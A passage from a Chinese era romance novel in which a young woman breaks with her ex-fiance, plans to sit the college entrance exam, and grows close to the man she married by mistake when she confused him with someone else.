“为我好?”苏念橙打断她,“为我好,就背着我跟他处了三年对象?为我好,就等到快结婚了才让我知道?” 她看向何钧礼,“你们俩可真配,一个装傻充愣,一个背后捅刀。三年,你们偷偷摸摸处了三年,我在村里起早贪黑赚工分供他读书的时候,你在干什么?写信跟他诉衷肠?” 苏荷雨的脸涨得通红,“你胡说什么!” “我胡说?”苏念橙往前一步,“苏荷雨,你敢发誓,你不知道我和他的事?你敢发誓,你不是故意每次在我们见面的时候把他叫走?” 苏荷雨张了张嘴,说不出话来。 何钧礼把她往身后护了护,冷着脸看向苏念橙,“够了!你闹够了没有?我跟你从来就没有什么,你少在这儿血口喷人!” “从来就没有什么?”苏念橙重复了一遍这句话,心口像被人狠狠攥了一把,疼得喘不过气。 三年,就换来一句从来就没什么。 她深吸一口气,把眼眶里的泪硬生生憋了回去。 不值得。为这种人掉眼泪,不值得。 “好。”她点点头,声音冷得像冬天的井水,“既然你这么说了,那咱们就把话说清楚。何钧礼,苏荷雨,你们听好了。” 她直视着两人,一字一顿。 “从今天起,我苏念橙跟你们没有任何关系。你们结婚也好,生子也罢,都跟我没半毛钱关系。以后走在路上碰见,就当不认识。我祝你们,婊子配狗,天长地久。” 苏荷雨的脸瞬间变得煞白,“你——你敢骂人?” 何钧礼也怒了,“苏念橙!你别太过分!” “过分?”苏念橙冷笑,“你骗了我三年,她说我配不上你,到底是谁过分?” 她扫了一眼何钧礼手里的饭盒,嗤笑一声,“排骨汤?喝吧,多喝点。毕竟你们这种人,也就配喝喝汤了。” 说完,她转身就走。 “苏念橙!”何钧礼在身后喊,“你一个初中没念完的乡下丫头,还想参加高考?别做梦了!你以为大学是你这种人能上的?” 苏念橙脚步顿了顿,没有回头。 “我能不能考上,不劳你操心。倒是你,好好当你的预备干部吧,别哪天被人扒了皮,露出里头的自私自利来。” “你——” 何钧礼气得脸都青了,还想追上去,却被苏荷雨拉住了。 “钧礼,别理她了。”苏荷雨咬着嘴唇,眼眶红红的,“她就是嫉妒我,故意说那些话气我们。我们走吧,别让人看笑话。” 何钧礼这才发现,路边已经有好几个人往这边张望了,他深吸一口气,压下怒火,拉着苏荷雨往另一个方向走。 “走,别搭理她。一个乡下丫头,翻不起什么浪。” 教育局在一栋灰色的老楼里,门厅不大,墙上贴着各种通知和告示。 苏念橙站在门口,深呼吸了好几下,才把情绪压下去。她整了整衣服,推门进去。 接待她的是个四十来岁的女同志,戴着眼镜,看起来很和善。 “同志,你想咨询高考的事?” 第七章 我们结婚了 闻言,苏念橙点点头,“是的,我想问问,像我这种情况,能不能参加高考?” 女同志递给她一张表格,“你先看看这个,把基本情况填一下。” 苏念橙接过表格,低头认真填写。 姓名,年龄,籍贯,文化程度…… 填到学历那一栏时,她顿了一下,写下初中肄业。 女同志接过去看了看,点点头,“你这种情况可以参加高考。去年恢复高考后,政策放宽了,不限年龄,不限婚否,只要符合条件都能考。” 苏念橙眼睛亮起来,“真的吗?” “当然。”女同志笑了笑,“不过你得好好准备。你初中没毕业,底子薄,得下苦功夫。现在离明年高考还有将近一年,抓紧时间复习,还是有希望的。” 苏念橙用力点头,“我一定努力!” 从教育局出来,苏念橙去了趟供销社。 在供销社买了些日用品,还有一些参考书。 从供销社出来,天已经擦黑了。 路灯亮起来,昏黄的光洒在梧桐树上。 苏念橙走在路上,脚步比来时轻快了许多。 能考。 她能参加高考。 这是她这些天来,听到的最好的消息。 她想起何钧礼说的那些话,嘴角勾起一抹嘲讽的笑。 等着吧。她会考上的。 到时候,看谁笑到最后。 不过…… 她摸了摸口袋里的钱,笑容淡了些。 越靳临给她的钱,刚刚花了已经剩得不多了。 她得找个工作,一边攒钱一边复习。 明天就去劳务市场看看。 想着这些,她加快了脚步。 槐花胡同三号楼。 苏念橙推开门,一股香味扑面而来。 她愣了一下,顺着香味看过去,厨房里亮着灯,越靳临正背对着她站在灶台前。 他系着条蓝布围裙,手里拿着锅铲,锅里滋滋作响。 桌上已经摆了两盘菜,一盘红烧肉,一盘炒青菜。 红烧肉油亮亮的,青菜翠生生的,看着就让人食欲大开。 越靳临听到动静,回过头来,“回来了?洗洗手,马上吃饭。” 苏念橙站在门口,有点懵。 他竟然会做饭? 而且这红烧肉,看起来比何家那天的还要香。 她忽然想起以前在村里的时候,何钧礼偶尔也会说想吃什么,但从来不会动手做。 都是她起早贪黑地忙活,做好了端到他面前。 那时候她觉得,能给他做饭是幸福的事。 现在想想,真是瞎了眼。 “愣着干嘛呢?”越靳临端着最后一碗汤出来,“饿了吧?快过来。” 苏念橙回过神,洗了手坐到桌边。 四菜一汤,红烧肉,炒青菜,西红柿炒蛋,凉拌黄瓜,还有一碗紫菜蛋花汤。 搁在这年头,算是相当丰盛了。 “你……你做的?”她还是有点不敢相信。 越靳临点点头,给她夹了块红烧肉,“尝尝,看合不合口味。” 苏念橙咬了一口,肉炖得软烂,入口即化,咸甜适中。 她忍不住又夹了一块。 越靳临看着她吃,眼里带了点笑意,“好吃吗?” “好吃。”苏念橙用力点头,又有些不好意思,“没想到你做饭这么好吃。” “一个人住,不会做饭就得饿着。”越靳临也拿起筷子,“吃吧,多吃点。你太瘦了。” 苏念橙低头看看自己,小声嘟囔,“我不瘦……” 她其实不算很瘦,该有的地方都有,只是骨架小,看着单薄。 越靳临没接话,只是又给她夹了块肉。 两人安静地吃着饭。 越靳临吃了几口,忽然想起了什么,“对了,你今天去教育局问的怎么样?” 闻言,苏念橙抬头,“我能参加高考。” 越靳临眉眼微扬,“能考?” “嗯。”苏念橙眼睛亮亮的,“同志说了,现在政策放宽了,像我这种情况也能考。离明年高考还有将近一年,我打算一边找工作一边复习。” 越靳临看着她亮晶晶的眼睛,心里软了一下。 “想考什么专业?” “还没想好。”苏念橙咬着筷子,“先把文化课补上再说。我初中没毕业,底子薄,得下苦功夫。” “有目标就好。”越靳临说,“需要什么书跟我说,我托人买。” 苏念橙心里一暖,“不用,我自己攒钱买。” 越靳临看了她一眼,没说话。 又吃了一会儿,苏念橙忽然说,“你……你不问我为什么突然要考大学?” 越靳临夹菜的手顿了顿,“你想说的时候自然会说。” 苏念橙愣了一下,心里涌起一股酸涩的感觉。 在何钧礼面前,她总是小心翼翼地揣摩他的心思,生怕自己说错话做错事。 可在这个男人面前,她什么都不用想,什么都不用担心。 他给她钱,给她地方住,给她做饭,却从不追问她的过去。 “谢谢你。”她低下头,声音有点闷。 越靳临淡淡嗯了声,又给她盛了碗汤。 吃完饭,苏念橙抢着收拾碗筷。 越靳临也没拦,靠在厨房门口看着她忙活。 她干活利索,三下两下就把碗筷收进厨房,拧开水龙头开始洗。 越靳临看着她的背影,忽然开口,“咱俩结婚了,你知道吧?” 苏念橙手一顿,“知道啊。” “那这家里的事,不用你一个人干。”他走过去,接过她手里的碗,“我来洗。” “不用不用——”苏念橙急了,“你都做饭了,碗当然我洗。” 越靳临没让,低头洗碗,嘴里说,“你去歇着,跑了一天不累?” 苏念橙站在旁边,看着他宽厚的背影,心里像被什么东西塞满了,暖暖的,胀胀的。 她想起何钧礼那张虚伪的脸,想起他说的那些话,忽然觉得好笑。 她以为自己爱了三年的人,原来根本不值得爱。 而这个刚认识两天的男人,却让她第一次知道,被人放在心上是什么感觉。 “越靳临。”她忽然开口。 “嗯?” “没什么。” 她弯起嘴角,转身回屋。 越靳临不明所以,但是莫名被她可爱到。 他学她的口吻,轻声道:“苏念橙。” 苏念橙闻声止步,回头,“咋啦?” “没事,我学你的。” “哦…哦好。” 第八章 工作 随后,苏念橙回屋里收拾东西,等她翻出换洗衣服,才想起来个要命的问题。 这屋里没浴室,得去楼梯口的澡间。 她探头看了看,越靳临还在厨房,背影对着她。 她快速钻进澡间。 水是热的,但她洗得快,三下两下打完肥皂冲干净。 等擦干身子,才猛地反应过来。 她光顾着拿毛巾,忘了拿干净衣裳。 换下来的衣服,早就湿透了。 她站在那儿,脸腾地烧起来。 怎么办? 叫越靳临?不行不行,多难为情。 可不叫,她总不能光着出去。再说人家还等着洗澡呢,她磨蹭太久像什么话。 她咬着嘴唇,在里头站了好一会儿,终于硬着头皮开口。 “越……越靳临?” 声音小得像蚊子哼。 外头没动静。 她深吸一口气,又喊了一声,“越靳临?” 这回外头传来脚步声,由远及近。 “怎么了?” 男人的声音隔着门板传进来,低沉沉的。 苏念橙脸烫得能煎鸡蛋,手指抠着门缝,支支吾吾,“我……我忘拿衣服了……” 外头沉默了两秒。 “在哪儿?” “就……就我床上,那个蓝色的包袱里。” 又是一阵沉默。 苏念橙听见脚步声走远,又走回来。 “开门。” 苏念橙把门打开一条缝,刚好能伸出一只手。 她把手探出去,胳膊白生生的,在昏黄的灯光下细得像根葱。 手指触到温热的布料,还有另一只手。 那只手比她大得多,指节分明,掌心粗糙,碰到她手背的时候,像触电似的,酥酥麻麻的感觉从指尖蹿上来。 她飞快地缩回手,“砰”地关上门。 外头没声音了。 她靠在门板上,心脏怦怦跳,耳朵根子都红透了。 等穿好衣服出来,越靳临还站在走廊里。 他背对着她,肩膀宽宽的,听见动静转过身来。 苏念橙低着头不敢看他,蚊子似的说了句谢谢,就想从他身边溜过去。 越靳临看着她红透的耳尖,嘴角忍不住弯了弯。 “嗯。” 就一个字,偏偏让苏念橙走得更快了。 她几乎是逃回屋的,关上门,捂着胸口喘气。 刚才那一下,手碰手的那一下,她心跳到现在还没缓过来。 怎么回事啊。 她又不是没见过男人,怎么碰到他的手就跟过电似的。 苏念橙把脸埋进枕头里,耳朵烫得能煎鸡蛋。 外头传来水声,越靳临去洗澡了。 她翻了个身,盯着天花板,脑子里乱七八糟的。 他那双手,怎么那么糙,全是茧子。 肯定干了不少活。 还有他做饭的样子,系着围裙,站在灶台前,一点儿也不像个大男人该干的事。 可偏偏…… 偏偏她觉得那样的他,比何钧礼穿得人模狗样坐在那儿等饭吃,要顺眼一百倍。 想着想着,脸又红了。 她使劲儿摇头,把那些乱七八糟的念头甩出去。 睡觉睡觉。 第二天一早,天刚蒙蒙亮,苏念橙就醒了。 她轻手轻脚爬起来,想赶在越靳临前头把早饭做了。 人家又给她地方住,又给她做饭,她总不能光吃白食。 谁知刚推开门,厨房里已经有人了。 越靳临站在灶台前,背对着她。 他只穿了件黑色背心,古铜色的皮肤被晨光照得发亮,肩膀宽阔,腰身紧实,背心底下隐约能看见肌肉的轮廓。 他正弯腰看锅里的粥,手臂上的肌肉随着动作微微绷起,线条流畅又结实。 苏念橙愣住了。 她脸又红了。 这人怎么一大早的就…… “醒了?” 越靳临听见动静回过头来,手里还拿着锅铲。 苏念橙慌忙移开眼睛,支支吾吾,“嗯……我来帮你。” “不用。”越靳临把她往外推,“等着吃就行。” 他的手按在她肩膀上,隔着薄薄的布料,掌心热热的。 苏念橙被他推着往外走,心里却更过意不去了。 “那怎么行,你天天上班那么累,还得做饭……” “不累。”越靳临把她按在桌边坐下,“就做个饭,有什么累的。” 苏念橙坐在那儿,看着他又开始忙活。 她张了张嘴,还是把心里的话说出来。 “越靳临,我想……找个工作。” 越靳临手顿了顿,回头看她。 苏念橙被他看得有点不自在,低下头抠手指,“我知道你对我好,给我地方住,还给我钱花。但我不能一直这样,什么都靠你。我想自己挣钱,攒点学费,也……” 也给你减轻点负担。 后头的话她没说出口,但越靳临听懂了。 他沉默了一会儿,“工地上活重,你干不了。” 苏念橙抬起头,“我不怕累的,我在乡下什么活都干过——” “我知道。”越靳临打断她,把粥端到她面前,“但那儿都是男人,灰大土大,你去了不合适。” 苏念橙愣了愣,有些尴尬。 他是怕她去了给他添麻烦吗? “那……”她咬着嘴唇,还是不死心,“那有没有别的活?洗碗什么的,我都能干。” 越靳临看了她一眼,在她对面坐下。 “你对文职有没有兴趣?” 苏念橙愣住了。 “文职?” “嗯。”越靳临端起粥喝了一口,“工地办公室缺个打杂的,记记账,整理整理文件,不用下工地。活儿轻省,也干净。” 苏念橙眼睛亮了,“真的?我能去?” “能是能。”越靳临放下碗,“就是工钱不高,一个月十八块,没粮票。” 十八块! 苏念橙心里算了一笔账,省着点花,够她两个月生活费了。 “我去!”她用力点头,“我不嫌少,有活干就行!” 越靳临看着她亮晶晶的眼睛,心里软了一下。 “那行,今天跟我去看看。” 苏念橙高兴得差点跳起来,又想起什么,“对了,你刚才说工地上都是男人,那我去了……” “办公室有女同志。”越靳临说,“文静就是女的,你们可以作伴。” 苏念橙松了口气,又觉得自己刚才那点小心思挺可笑。 人家是怕她被欺负才不让她去工地,她倒好,想歪了。 “谢谢你,越靳临。”她认真地说。 越靳临嗯了一声,低头喝粥。 第九章 牵手 吃完早饭,苏念橙跟着越靳临出门。 早晨的风凉丝丝的,阳光斜斜地洒在胡同里,把两人的影子拉得老长。 苏念橙走在越靳临身边,偷偷瞄了他一眼。 他今天换了件干净的蓝布工装,袖口卷到小臂,露出一截结实的手腕。 他走得很快,但步子迈得不大,像是刻意放慢了等她。 她心里暖暖的,小跑着跟上。 工地还是那片尘土飞扬的空地,但今天看着比昨天顺眼多了。 刚进大门,就遇上几个熟人。 “哟,越工!”昨天那个老张远远就喊起来,“带嫂子来视察工作啊?” 苏念橙脸一下子红了。 越靳临还没开口,旁边又凑过来几个工人,笑嘻嘻的。 “嫂子好!” “嫂子今天可真精神!” “越工,啥时候请我们吃喜糖啊?” 苏念橙被这一声声叫得耳根子发烫,低着头不敢看人,手指紧紧攥着衣角。 正窘得不知如何是好,忽然手上一暖。 一只粗糙的大手握住了她的手,掌心干燥温热,指节有力。 她愣了一下,抬头看越靳临。 他脸上没什么表情,只是淡淡扫了那几个工人一眼,“都闲得慌?活干完了?” 工人们嘻嘻哈哈地散了。 越靳临低下头,声音比平时低了些,“别理他们,闹着玩的。” 苏念橙点点头,心里却更在意的是掌心传来的温度。 他的手真大,把她的手整个包住了。 她垂下眼,睫毛轻轻颤了颤,没有挣开。 越靳临也没松手,就这么牵着她往前走。 穿过工地,来到一排简易房前。 最边上那间门口挂着个木牌,写着工地办公室几个字。 越靳临这才松开手,推开虚掩的门。 “到了,就是这儿。” 苏念橙跟进去,屋里不大,摆着两张旧桌子,几把椅子,墙角堆着些文件盒。 一个穿碎花衬衫的年轻女人正趴在桌上写字,听见动静抬起头来。 她看起来二十四五岁,圆脸,笑起来眼睛弯弯的,很面善。 “哟,这就是嫂子吧?” 她站起身,上下打量着苏念橙,眼里带着笑意,“长得可真俊!越哥你从哪找的这么水灵的姑娘?” 苏念橙脸又红了,不知道该说什么。 越靳临给她介绍,“这是周文静,工地的文员。以后你跟着她干活,有什么不懂的就问她。” 苏念橙赶紧问好,“周同志好,我叫苏念橙,麻烦您多关照。” “哎呀,叫什么周同志,叫我文静姐就行!”周文静爽朗地摆摆手,“别站着,快坐。” 越靳临看了看屋里,“那你先跟着文静熟悉熟悉,等下班我来叫你。” 苏念橙点点头,“好。” 越靳临转身要走,苏念橙忽然想起什么,“哎,等等——” 他回过头。 苏念橙犹豫了一下,“不用……面试吗?” 越靳临愣了一下,像是没想到她会问这个。 他嘴角微微弯了弯,“不用那么麻烦,今天就上岗吧。” 说完就推门出去了。 苏念橙站在原地,还有点懵。 就这么定下了? “别愣着啦。”周文静拉过一把椅子,“坐这儿,我跟你讲讲要干啥。” 苏念橙回过神,在她旁边坐下。 “其实活儿特简单,就是记记账,整理整理文件,有时候工地上送来的单子归归类。”周文静递给她一个本子,“你看,这是上个月的账,就是记这些材料进出,数字对上就行。” 苏念橙接过来仔细看,确实不难,就是加减法。 “你识字吧?”周文静问。 “识的。”苏念橙点点头,“我念过初中。” “那更没问题了!”周文静笑了,“我一看你就觉得聪明,肯定一学就会。” 苏念橙被她夸得不好意思,低头翻着本子。 周文静又絮絮叨叨给她讲了些注意事项,什么材料单要分门别类放好,什么月底要对账,什么工人领工具的登记表也要收着。 苏念橙听得认真,时不时点点头。 讲完了,周文静倒了杯水给她,“先歇会儿,等会儿有单子送来,你跟着我一起弄弄就熟了。” 苏念橙接过水杯,“谢谢文静姐。” 周文静撑着下巴看她,“你跟越哥咋认识的?” 苏念橙愣了一下,不知道该怎么回答。 总不能说是在相亲桌上认识的吧? “就……经人介绍认识的。”她含糊地说。 周文静点点头,也没追问,只是笑着说,“越哥那人看着冷,其实心特别好。我俩从小一个大院长大的,他从小就护着我们这些小的。后来当兵去了,回来就干工地,一直单着,可把他奶奶急坏了。” 一直单着? 不是离异带两娃吗? 苏念橙也不好追问,毕竟离婚也不是什么光彩的事。 反正她跟他本来就是协议结婚,问那么多干嘛。 正说着,外头有人敲门,送来一摞单据。 周文静接过来,分了一半给苏念橙,“来,咱俩一起弄,你跟着我学。” 苏念橙接过单据,认真地看着她怎么分类,怎么登记,怎么归档。 她学得快,干了半天就上手了。 周文静在旁边看着,眼里带着赞许,“行啊,你这脑子好使,比我当初学得快多了。” 苏念橙不好意思地笑笑,“是文静姐教得好。” 两人一边干活一边聊天,苏念橙才知道周文静已经结婚了,丈夫在附近开了个小饭店,生意还不错。 “改天去我那吃饭,让我男人给你露一手。”周文静热情地说。 苏念橙笑着应了。 时间过得快,不知不觉就到了傍晚。 夕阳透过窗子照进来,把屋里染成暖黄色。 门被推开,越靳临站在门口。 他身上的工装沾了些灰,额角还有汗,看起来是刚忙完。 “下班了。”他说。 苏念橙站起来,收拾桌上的东西。 周文静在旁边笑,“哟,越哥这是掐着点来接媳妇儿呢。” 越靳临没搭理她,只是看着苏念橙。 苏念橙收拾好,跟周文静道别,“文静姐,那我先走了,明天见。” “去吧去吧。”周文静摆摆手,“嫂子明天早点来,咱俩接着聊。” 第十章 有了 越靳临伸出手,很自然地牵起苏念橙。 苏念橙愣了一下,还没反应过来,手已经被握住了。 掌心还是那么暖。 她低下头,耳朵有点红,却没有挣开。 两人走出办公室。 “今天怎么样?”越靳临问,“累不累?” 苏念橙摇摇头,“不累,活儿挺轻省的。文静姐人特别好,教了我好多。” “嗯。”越靳临应了一声,“她人是挺好的。” 苏念橙又说了些今天干的事,语气比早上轻快多了。 越靳临听着,嘴角微微弯了弯。 走到工地门口,他忽然问,“想吃什么?今晚在外边吃。” 苏念橙愣了一下,“在外边吃?” “嗯,省得回去做。”越靳临看着她,“你想吃啥?” 苏念橙想了想,“都行。不过会不会太破费了?” “不破费。”越靳临牵着她往前走,“前面有家国营饭店,红烧肉做得不错。” 苏念橙想起昨晚他做的红烧肉,忍不住咽了咽口水。 “那……就吃红烧肉?” “好。” 两人到了国营饭店,天已经擦黑了。 饭店里灯火通明,人声鼎沸,几张八仙桌坐得满满当当。 服务员端着盘子穿梭其间,红烧肉的香味飘得满屋都是。 越靳临找了个靠窗的位置,拉开椅子让苏念橙坐下。 “想吃什么?”他把菜单递过来。 苏念橙接过菜单看了看,又递回去,“你点吧,我什么都吃。” 越靳临也没推辞,跟服务员点了红烧肉,糖醋排骨,炒白菜,还有一碗西红柿蛋汤。 “够了够了,”苏念橙赶紧拦着,“点太多吃不完。” “吃不完打包。”越靳临把菜单还给服务员,“明天给你带饭。” 苏念橙心里一暖,没再说什么。 等菜的功夫,她撑着下巴看窗外的街景。 路灯亮起来了,昏黄的光洒在梧桐树上,有人骑着自行车经过,车铃叮铃铃地响。 “那边好像挺热闹。”她随口说。 越靳临顺着她的目光看了一眼,“嗯,前面有个电影院,晚上人多。” 苏念橙眼睛亮了亮,“电影院?” 她长这么大,还没进过电影院呢。 “想去看?”越靳临问。 苏念橙犹豫了一下,摇摇头,“算了,票怪贵的。” “不贵。”越靳临说,“想看的话,改天带你去。” 苏念橙愣了一下,抬眼看他。 他脸上没什么表情,好像就是在说一件很平常的事。 可她心里却像被什么东西轻轻撞了一下,软软的,暖暖的。 “好。”她点点头,嘴角忍不住弯起来。 菜很快上来了,红烧肉油亮亮的,糖醋排骨酸甜的香味直往鼻子里钻。 苏念橙咽了咽口水,夹了块排骨。 “好吃!”她眼睛亮起来。 越靳临看着她吃,眼里带了点笑意,“好吃就多吃点。” 他夹了块红烧肉放到她碗里,“尝尝这个。” 苏念橙咬了一口,肉炖得软烂,入口即化,“这个也好吃!不过没你做的好吃。” 越靳临愣了一下,“真的?” “真的。”苏念橙认真点头,“你做的更入味。” 越靳临嘴角弯了弯,没说话,又给她夹了块肉。 两人正吃着,忽然听见不远处传来一阵笑声。 “钧礼,你尝尝这个,可好吃了。” 一个娇滴滴的女声,听着耳熟得很。 苏念橙筷子顿了顿,下意识往那边看了一眼。 靠窗的那桌,坐着两个人。 何钧礼穿着白衬衫,头发梳得一丝不苟,正低头咬住苏荷雨递过来的筷子。 苏荷雨笑得眼睛弯弯的,又夹了块肉喂到他嘴边。 “好吃吗?” “好吃。”何钧礼笑着看她,“你喂的都好吃。” 苏荷雨娇羞地捶了他一下,“讨厌。” 苏念橙收回目光,低头继续吃饭。 奇怪,她以为自己会难受,会心酸,会想哭。 可什么都没有。 只觉得有点恶心。 不是那种心痛的感觉,就是单纯的恶心。 看着那两张脸,看着他们你一口我一口地喂来喂去,她胃里忽然一阵翻涌。 “呕——” 她捂住嘴,干呕了一声。 越靳临筷子一顿,赶紧放下碗,“怎么了?” 他伸手轻轻拍着她的背,眉头皱起来,“不舒服?还是菜不合胃口?” 苏念橙摆摆手,想说没事,可那股恶心劲儿还没过去,她又干呕了两下。 旁边那桌的大姨听见动静,扭头看了一眼,笑着开口,“哟,小伙子,你这就不懂了吧?你媳妇儿这反应,八成是有了!” 苏念橙脸腾地红了,猛地摇头,“没有没有!不是的!” “小姑娘别害羞啊。” 她急得声音都变了调,“我真的没有!” 越靳临愣了一下,随即反应过来,对那大姨说,“阿姨别打趣我媳妇儿,她脸皮薄。” 大姨笑着摆摆手,“行行行,我不说了。不过你这当男人的,可得好好照顾着点。” 越靳临点点头,低头看苏念橙,声音放柔了些,“没事吧?要是不舒服咱就回家,我给你做点清淡的。” 苏念橙摇摇头,脸还是红的,“没事,就是……就是刚才有点反胃。现在好了。” 她拿起筷子,夹了块红烧肉,“真的没事,菜很好吃。” 越靳临看着她,确认她真的没事了,才重新拿起筷子。 他没问她为什么突然反胃,也没往那桌多看一眼。 只是时不时给她夹菜,倒水,像什么事都没发生一样。 苏念橙低头吃着,心里却翻涌着说不清的滋味。 他怎么什么也不问? 明明刚才她那反应,换谁都会觉得奇怪。 可他就是不问。 吃完饭,两人走出饭店。 夜风凉丝丝的,吹在脸上很舒服。 两人并肩走着,谁也没说话。 走到槐花胡同口,苏念橙忽然想起什么。 她犹豫了一下,还是开口了。 “越靳临。” “嗯?” “我有个事想问你。” 越靳临放慢脚步,侧头看她,“什么事?” 苏念橙咬了咬嘴唇,“我来了两天了,怎么一直没见着你的孩子?” 越靳临脚步一顿。 “孩子?”他皱起眉头,“什么孩子?” 第十一章 乌龙 苏念橙愣了,“就是你孩子啊。你不是离异带俩娃吗?” 越靳临停下脚步,转过身看着她。 路灯下,他的表情有点复杂。 “谁跟你说我离异带俩娃的?” 苏念橙眨眨眼,“我爸说的啊,他说给我介绍的相亲对象,姓岳,四十岁,离异,带着两个孩子。” 越靳临沉默了几秒。 “你爸说的是岳老板。” “对啊,岳老板。”苏念橙点点头,“你不就是……” 她忽然反应过来,声音戛然而止。 岳。 越。 这两个字,发音是有点像。 她瞪大了眼睛,“你……你不是岳老板?” 越靳临看着她,慢慢摇了摇头,“我叫越靳临。在国联饭店,是你自己过来问我是不是岳老板的。” 苏念橙脑子里嗡的一声。 她想起来了。 那天在饭店,她上楼就问,他没说是也没说不是,只和她问好。 后来她一股脑说了那些话,他听完,两人就去打结婚报告了。 从头到尾,他都没说过自己是岳老板! 是她自己认错了人! 苏念橙的脸白了又红,红了又白。 “我、我……”她结结巴巴,话都说不利索,“我以为你是……你怎么不早说……” “你没问。”越靳临说。 苏念橙急了,“可你也没说你不是呀…” “你也没给我机会说。”越靳临看着她,语气平平的,“你一口气说了那么多,说完就去打报告了。” 苏念橙愣住了。 好像……是这么回事。 她站在那儿,脑子里乱成一团浆糊。 完了完了,她嫁错人了! 那真正的岳老板呢? 那个离异带俩娃的包工头呢? 她跟一个陌生人结了婚,还住到人家家里,花人家的钱,吃人家的饭,还让人家给她找工作! 苏念橙的脸烧得厉害,恨不得找个地缝钻进去。 “对不起对不起!”她连连鞠躬,“我真的不是故意的!我以为你就是……我、我们明天就去办离婚!你放心,我不会纠缠你的!” 越靳临看着她急得团团转的样子,眉头皱起来。 “离婚?” “对对对!”苏念橙用力点头,“本来就是误会,我认错人了。明天咱就去街道办,把婚离了。这些天花的钱我也会还你的,我找到工作就还——” “不行。”越靳临打断她。 苏念橙愣住了,“什么?” 越靳临看着她,淡淡开口,“离婚很麻烦。” “啊?” “要写申请,要单位盖章,要等审批,少说也得个把月。”他顿了顿,“而且刚结婚就离,传出去对你影响不好。” 苏念橙张了张嘴,不知道该说什么。 “你不是要考大学吗?”越靳临又说,“离婚的事传出去,政审那一关不好过。” 苏念橙愣住了。 她没想到这一层。 “那……那怎么办?”她急了,“可我真的认错人了,我不能赖着你啊——” “先住着。”越靳临说,“等你考上大学再说。” 苏念橙看着他,眼眶忽然有点酸。 他怎么这样啊…… 明明是她认错了人,闯了这么大的祸,他不生气不骂人,还替她考虑这么多。 “可是……”她还想说点什么。 “别可是了。”越靳临转身往前走,“回家。” 苏念橙站在原地,看着他宽厚的背影,心里像被什么东西塞得满满的。 她小跑着追上去,跟在他身边。 “越靳临。” “嗯?” “谢谢你。” 苏念橙说完,低下头看着自己的鞋尖。 越靳临脚步顿了顿,侧头看她。 路灯下,小姑娘低着头,耳尖红红的,露出一截细白的脖颈。 他忽然有点想笑。 “你一天要跟我说几次谢谢?”他问。 苏念橙愣了一下,抬起头,“啊?” “从昨天到今天,”越靳临数着,“谢谢我借钱给你,谢谢我给你找工作,谢谢我不怪你认错人。刚才又谢了一次。” “你这是打算一天谢我三回?” 苏念橙脸红了,结结巴巴地说,“我、我就是……除了谢谢,不知道说什么……” 越靳临看着她窘迫的样子,嘴角微微弯了弯。 “那就不说。” 苏念橙眨眨眼,忽然想起什么,“对了!” “嗯?” “等发了工钱,”她眼睛亮亮的,“我请你吃红烧肉!” 越靳临看着她亮晶晶的眼睛,心里软了一下。 “好。”他说。 两人继续往前走。 胡同里很安静,只有两人的脚步声。 月光照着两人的影子,一高一矮,挨得很近。 回到家,苏念橙洗漱完躺回床上,翻来覆去睡不着。 她盯着天花板,脑子里乱糟糟的。 怎么就认错人了呢? 岳和越,这两个发音,是有点像。 可人家姓越,她硬生生给人家安了个岳。 还一口气说了那么多话,什么我不图你什么,就想在城里落脚,什么供我吃住,考上大学就离婚。 越想越臊得慌。 她把脸埋进枕头里,耳朵烧得厉害。 可更让她睡不着的是,越靳临居然没生气。 她认错人了,闯了这么大的祸,他不骂她不赶她走,还给她找工作,给她做饭,牵她的手。 牵她的手…… 她想起那只粗糙的大手包住自己手的感觉,心跳忽然快了几拍。 不行不行,她使劲摇头,把那些乱七八糟的念头甩出去。 现在的问题是,那个真的岳老板在哪儿? 她爸那边会不会发现什么? 要是发现了,会不会找过来? 她翻了个身,又翻了个身。 窗外的月光透过窗帘的缝隙照进来,在地上投下一道银白的光。 也不知道过了多久,她终于迷迷糊糊睡着了。 第二天早上,苏念橙是被阳光晃醒的。 她睁开眼,愣了一会儿才反应过来自己在哪儿。 看了看桌上的小闹钟,七点多了。 她赶紧爬起来,推开门,厨房里照常飘来香味。 越靳临系着围裙站在灶台前,听见动静回过头,“醒了?洗脸吃饭。” 苏念橙嗯了一声,去洗漱。 等坐到桌边,桌上已经摆好了粥,咸菜,还有两个煎得金黄的荷包蛋。 她咬了一口,蛋黄还是溏心的。 “好吃。”她说。 越靳临嗯了一声,“好吃多吃点。” 第十二章 搂着我 吃完饭,两人收拾收拾出门。 刚走到楼下,苏念橙就愣住了。 楼门口停着一辆新的摩托车,黑漆漆的车身,亮闪闪的车把,在晨光里锃光瓦亮的。 她没见过这么气派的车。 “这……这是谁的车?”她问。 越靳临从口袋里掏出钥匙,“我的。” 这是他前两天托老张帮忙买回来的,昨天晚上菜运过来。 苏念橙瞪大眼睛,“你的?” “嗯。”越靳临跨上车,长腿一支,拍了拍后座,“上来。” 苏念橙站在那儿,有点懵,“你……你买的?” “托人买的。”越靳临看着她,“愣着干嘛,上来。” 苏念橙这才反应过来,赶紧走过去。 她从来没坐过摩托车,不知道该怎么上。踌躇了一下,学着越靳临的样子抬腿,结果差点没站稳。 越靳临伸手扶了她一把,“小心。” 苏念橙脸红了,在他身后坐好,双手不知道该放哪儿,最后只能抓着座位边缘。 阳光斜斜地照过来,落在越靳临身上。 他今天换了件绿布工装,袖子卷到小臂,露出一截结实的手腕。 阳光把他的侧脸镀上一层金边,轮廓比平时更分明,眉眼深邃,鼻梁挺直。 苏念橙看着他的侧脸,忽然觉得心脏跳得有点快。 “坐好了?”他回头问。 苏念橙赶紧移开眼睛,“嗯、嗯。” 越靳临拧了下油门,摩托车轰的一声窜出去。 苏念橙没防备,整个人往前扑,额头结结实实撞上他的后背。 “对不起对不起!”她赶紧往后缩,脸烧得厉害。 越靳临没回头,只是说,“搂紧了。” 苏念橙愣了一下。 “搂着我。”他说,“不然等下还要撞。” 苏念橙耳朵根子都红了,犹豫了一下,慢慢伸出手,轻轻抓住他腰两侧的衣服。 摩托车拐了个弯,她又往前倾了一下,手下意识地搂紧了些。 隔着薄薄的布料,她能感觉到他腰上的肌肉,硬邦邦的,跟铁板似的。 她的脸更红了,心跳快得像要从嗓子眼蹦出来。 “搂紧了。”他又说了一遍。 苏念橙咬着嘴唇,把脸埋在他背上,轻轻嗯了一声。 摩托车在晨风里飞驰,路边的梧桐树刷刷往后退。 她趴在他背上,闻到他身上淡淡的肥皂味,混着阳光和汗的味道,不难闻,反而让人觉得安心。 隔壁楼里,何钧礼和苏荷雨刚走到门口,就听见外面“轰”的一声响。 两人推门出来,正好看见一辆黑色的摩托车从楼前驶过。 骑车的是个男人,穿着工装,肩膀宽阔。 